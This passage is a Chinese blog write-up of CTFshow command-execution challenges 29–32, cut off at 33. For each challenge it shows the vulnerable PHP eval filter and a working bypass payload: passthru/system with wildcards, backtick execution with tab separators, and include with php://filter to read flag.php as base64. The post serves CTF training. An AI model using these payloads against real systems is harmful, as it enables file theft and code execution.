CTFSHOW命令执行web入门29-54


description: >-
这里就记录一下ctfshow的刷题记录是web入门的命令执行专题里面的题目,他是有分类,并且覆盖也很广泛,所以就通过刷这个来,不过里面有一些脚本的题目发现我自己根本不会笑死。
如果还不怎么知道写题的话,可以去看我的gitbook,当然csdn我也转载了我自己的文章。如果你能去我的github为我的gitbook项目点亮星星或者follow me 那我将更开心。并且github和gitbook里面更详细,有更多关于web安全方面的知识,观感也会更好o。
github:https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fun
gitbook:
http://gitbook.22kaka.fun


😇 CTFSHOW命令执行

(1)Web 29

1.代码解释

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

这段代码非常简单,就是通过get获得的变量c,如果里面不含有flag这个字符,就把c变量做为php代码执行。

2.解答过程

所以我们先查看当前目录下的文件。

http://21631e8d-00f2-42ec-991a-0bc5b5d7d661.challenge.ctf.show/?c=system("ls");

执行后,得到回显

可以看到,当前目录下有flag.php和index.php文件,很明显,我们要查看flag.php的内容,但是我们的c变量不能含有flag这个词,我们可以用通配符来处理这个问题,并且没有过滤cat等,所以直接查看。

http://21631e8d-00f2-42ec-991a-0bc5b5d7d661.challenge.ctf.show/?c=system("cat f*");

然后我们发现我们页面没有显示,可能是没有php代码,所以我们查看源码,发现flag。

$flag = 'ctfshow{2d67c35d-5ae0-4429-88d3-53be43c7a618}';

(2)Web 30

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

这段代码和上一题代码的区别就是,过滤了flag,system,和php

既然我们system用不了了,我们看可以用其他的php执行函数来代替吗。

可以试试passthru

http://2f1af390-2e2d-4d53-b104-a31ed9917f2b.challenge.ctf.show/?c=passthru("ls");

可以发现是成功的,我们还是按照上面的步骤继续执行。得到flag。

http://2f1af390-2e2d-4d53-b104-a31ed9917f2b.challenge.ctf.show/?c=passthru("cat f*");
$flag = 'ctfshow{8fc40658-23ec-4363-92e2-93a9320f5d4e}';

(3)web 31

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

可以看到过滤变多了,并且过滤了单引号和点和空格,单引号我们可以用双引号代替,空格也有很多可以代替的,cat可以用more等来代替,我们之前用的函数passthru可以不变。

所以得到最后的过滤语句为

http://af3fbe54-a16b-4cfb-bae0-180dc1e8ba0b.challenge.ctf.show/?c=passthru("ls");

可以看到出现我们想要的结果了,说明这个思路对了。然后利用查看的php代码。

http://af3fbe54-a16b-4cfb-bae0-180dc1e8ba0b.challenge.ctf.show/?c=echo(`less,f*`);

其实在这个地方的时候遇到了一个问题,就是如果我用<>或者%20或者$IFS都出不来,只有%09能出来结果,并且我用其他的过滤方式会导致生成新的文件,这是我没想通的。


(4)web 32

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

还是一样的过滤,大部分的过滤方式,其实现在都讲了,就是这个echo,我们可以换成print,但是我们用的一些函数都需要括号,所以之前的方法单纯过滤肯定不顶用。

后面看到wp发现可以用include,包含一个参数,参数传递php协议去筛选出本地文件

这个方法因为之前没有使用过。所以需要学习一下。

首先解释一下

include "$_GET[X]"?>
include "$_POST[x]"?>

这两个是一个php查询参数的语句,其中的x就是查询的参数名。又因为,include是要包含文件,所以x传递的应该是一个文件路径。

以上语句的双引号可以去掉,在某些单引号和双引号被过滤的情况下。

上面的?>是为了结束php的代码块,明确告诉解析器,我们的php代码结束了,我们接下来传入的参数是php的代码



有了以上的基础后,我们得到的答案代码片段是

http://e688fc70-5820-4a9b-96ae-5d688f4d2743.challenge.ctf.show/?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

可以看到,我们将flag.php的内容转化为base64编码展示出来了。

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OTJkMTBlNjEtMTg1Zi00NTU4LTk4MGMtZWQ1Y2IyMjllNGQ3fSI7DQo=

然后进行base64解码,发现是

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: [email protected]
# @link: https://ctfer.com

*/

$flag="ctfshow{92d10e61-185f-4558-980c-ed5cb229e4d7}";


(5)web 33

error_reporting(0);
if(isset(
  • 42
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值